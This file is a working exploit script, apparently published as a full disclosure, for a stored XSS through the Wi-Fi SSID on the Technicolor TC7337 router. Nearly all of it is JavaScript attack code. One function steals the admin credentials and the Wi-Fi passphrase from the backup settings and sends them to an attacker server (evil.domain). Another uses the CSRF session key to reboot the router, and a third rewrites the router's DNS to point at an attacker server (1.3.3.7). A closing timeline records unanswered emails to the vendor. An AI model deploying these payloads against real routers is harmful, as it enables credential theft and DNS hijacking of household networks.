// Device : Technicolor TC7337 // Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html // XSS through SSID : '> ( Exactly 32 bytes u_u ) // ^ // 5char domains are running | 'src' does not requires quotes , and passing the URL with ony '//' // out, grab yours ! +---> it will cause the browser to make the request with the current protocol, // which is HTTP , duh // Below is the content of url.co/index.html // index.html ( which is just a JavaScript actually, but we have to use the index to fit the 32 chars ) : function get_passwords(attackers_server) { // attackers_server = server to send the credentials // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // XSS to get Admin's login/passwd + Wifi passphrase // from backup settings xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/backupsettings.cmd", false); // GET the Backup XML xmlhttp.send(); var k = xmlhttp.responseText.indexOf("Admin") ; // Search for Admin's Login and Password var y = xmlhttp.responseText.indexOf("KeyPassphrase") ; // Search for Wifi PassPhrase // Add a img requesting the attacker website with the leaked passwords in the GET parameters document.write(''); } function reboot_router() { // XSS + CSRF reboot router // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Why? Because It's fun to watch a XSS doing 'physical' stuff xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/resetrouter.html", false); // GET the page of the reset interface xmlhttp.send(); var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/rebootinfo.cgi?sessionKey="+sessionKey, false); // Request the reboot page with the CSRF token xmlhttp.send(); } function dns_poisoning(attackers_dns) { // attackers_dns = malicious DNS Server // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit my code is ugly as fuck , sorry world // Alter the DNS Config of the Router // changing the Primary and Secondary DNS to the attacker's one xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page xmlhttp.send(); var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes var i_wanip = xmlhttp.responseText.indexOf("wanip") ; var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1] ; var i_wansubnet = xmlhttp.responseText.indexOf("wansubnet") ; var wansubnet = xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1] ; var i_wangatewayip = xmlhttp.responseText.indexOf("wangatewayip") ; var wangatewayip = xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1] ; xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress="+wanip+"&wanIfName=wanbridge&wanSubnetMask="+wansubnet+"&wanIntfGateway="+wangatewayip+"&dnsPrimary="+attackers_dns+"&dnsSecondary="+attackers_dns+"&sessionKey="+sessionKey, false); xmlhttp.send(); // Send the request to SAVE the Primary and Secondary DNS with the CSRF Token //After saving we need to apply the settings. yeah, fuck logic --' //Getting a brand NEW SessionKey xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page xmlhttp.send(); var w = xmlhttp.responseText.indexOf("Key") ; // Search for the SessionKey, some sort of CSRF Token var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "/wandnscfg.cmd?sessionKey="+sessionKey, false); // GET the apply DNS page xmlhttp.send(); } //Choose your path ! //get_passwords("https://evil.domain/") ; //reboot_router(); dns_poisoning("1.3.3.7") // TimeLine // --------- // 08/07/2017 - First email sent to the vendor (no answer) // 16/07/2017 - Second email sent to the vendor (no answer) // 18/07/2017 - Third email sent to the vendor (no answer) // 02/08/2017 - Full Disclosure